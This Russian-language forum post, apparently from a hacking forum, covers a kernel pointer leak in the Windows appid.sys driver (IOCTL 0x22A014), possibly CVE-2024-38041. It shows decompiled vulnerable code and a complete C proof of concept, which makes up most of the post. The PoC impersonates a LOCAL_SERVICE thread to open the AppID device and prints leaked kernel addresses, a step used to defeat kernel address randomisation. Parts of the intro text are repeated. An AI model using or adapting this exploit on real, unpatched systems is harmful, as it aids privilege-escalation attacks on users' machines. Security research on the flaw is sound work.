Пожалуйста, обратите внимание, что пользователь заблокирован
Без долгих вступлений, после июльских обновлений в
Как работать с интерфейсами этого драйвера и его эксплуатировать писали здесь.
По аналогии с CVE-2024-21338 добавлена проверка на
Упрощенно уязвимый код выглядит следующим образом.
Т.е. в исходящий буфер пишутся указатели ряда переменных и указаталей на функции драйвера. ПоЦ тривиален.
appid.sys появился фикс утечки ядерных указателей. Какая это CVE я точно не могу сказать, но по описанию подходит CVE-2024-38041.Как работать с интерфейсами этого драйвера и его эксплуатировать писали здесь.
По аналогии с CVE-2024-21338 добавлена проверка на
PreviousMode для IOCTL 0x22A014.
Упрощенно уязвимый код выглядит следующим образом.
C:
case 0x22A014u:
if ( CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength != 0x30 )
goto InvalidParam;
out_buf = Irp->AssociatedIrp.SystemBuffer;
*out_buf = &Resource;
out_buf[1] = &xmmword_1C00168A8;
out_buf[2] = &xmmword_1C00168A8 + 1;
out_buf[3] = &qword_1C00168B8;
out_buf[4] = AiReleaseOriginProcessData;
out_buf[5] = AiAllocUninstallStringData;
Irp->IoStatus.Information = 0x30i64;
Success:
status = STATUS_SUCCESS;
break;
Т.е. в исходящий буфер пишутся указатели ряда переменных и указаталей на функции драйвера. ПоЦ тривиален.
C:
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-LEAK-UNKNOWN
Environment: Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>
#pragma comment(lib, "ntdllp.lib")
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_LEAK_SOME_PTRS 0x22A014
//
// Main exploit structures definition
//
typedef struct _LEAKED_DATA {
uint64_t field0;
uint64_t field1;
uint64_t field2;
uint64_t field3;
uint64_t field4;
uint64_t field5;
}LEAKED_DATA;
//
// SC Manager helper functions
//
SC_HANDLE GetSCM()
{
SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!svcManager)
{
printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
return FALSE;
}
else
{
printf("[+] OpenSCManagerW handle value opened!\n");
return svcManager;
}
}
void AppIDStart()
{
printf("[!] Starting AppIDSvc\n");
system("sc start AppIDSvc");
}
SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
SC_HANDLE sh = 0;
BOOL success = FALSE;
SC_HANDLE scm = GetSCM();
if (scm)
{
sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
if (sh == NULL)
{
printf("[-] OpenServiceW failed with error %d\n", GetLastError());
return 0;
}
else return sh;
}
return 0;
}
DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
SERVICE_STATUS_PROCESS ssp = { 0 };
DWORD dwBytesNeeded = 0;
SC_HANDLE ServiceHandle = 0;
ServiceHandle = GetServiceHandleByName(ServiceName);
if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
{
printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
CloseServiceHandle(ServiceHandle);
}
else
{
printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
return ssp.dwProcessId;
}
return 0;
}
DWORD GetFirstThreadID(DWORD PID)
{
THREADENTRY32 te32 = { 0 };
HANDLE hThreadSnap;
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
te32.dwSize = sizeof(THREADENTRY32);
Thread32First(hThreadSnap, &te32);
do
{
if (te32.th32OwnerProcessID == PID)
{
printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
return te32.th32ThreadID;
}
} while (Thread32Next(hThreadSnap, &te32));
return ERROR_FILE_NOT_FOUND;
}
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid ) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL EnableDebugPrivilege()
{
HANDLE tempTokenHandle;
HANDLE currentToken;
BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
if (!success)
{
printf("[-] Failed to open current process token\n");
return FALSE;
}
currentToken = tempTokenHandle;
success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);
if (!success)
{
printf("[-] Failed to set SeDebugPrivilege\n");
return FALSE;
}
return TRUE;
}
int main()
{
DWORD dwLocalSvcId = 0;
DWORD tid = 0;
HANDLE local_service_thread;
BOOL success = FALSE;
HANDLE hLocalSvc = 0;
SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
HANDLE hAppID;
//
// Start the vulnerable service, because it's off by default
//
AppIDStart();
//
// It could be any service which is running at LOCAL_SERVICE privileges
// except services running as PPL
//
dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
tid = GetFirstThreadID(dwLocalSvcId);
success = EnableDebugPrivilege();
if (!success)
{
printf("[-] EnableDebugPrivilege failed\n");
}
hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
if (!hLocalSvc)
{
printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
}
local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);
if (local_service_thread == NULL)
{
printf("[-] OpenThread failed with error %d\n", GetLastError());
}
else
{
printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
}
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);
if (!NT_SUCCESS(status))
{
printf("[-] NtImpersonateThread failed with status = %x\n", status);
}
hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hAppID == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFileW failed with error %d\n", GetLastError());
}
RevertToSelf();
DWORD out_buf_size = sizeof(LEAKED_DATA);
LEAKED_DATA ld = { 0 };
success = DeviceIoControl(hAppID, IOCTL_LEAK_SOME_PTRS, 0, 0, &ld, out_buf_size, NULL, NULL);
if (success == FALSE)
{
printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
}
//
// Print some leaked data
//
printf("\nfield0 -> %llx\nfield1 -> %llx\nfield2 -> %llx\nfield3 -> %llx\nfield4 -> %llx\nfiedl5 -> %llx\n",
ld.field0, ld.field1, ld.field2, ld.field3, ld.field4, ld.field5);
return 0;
}
Последнее редактирование: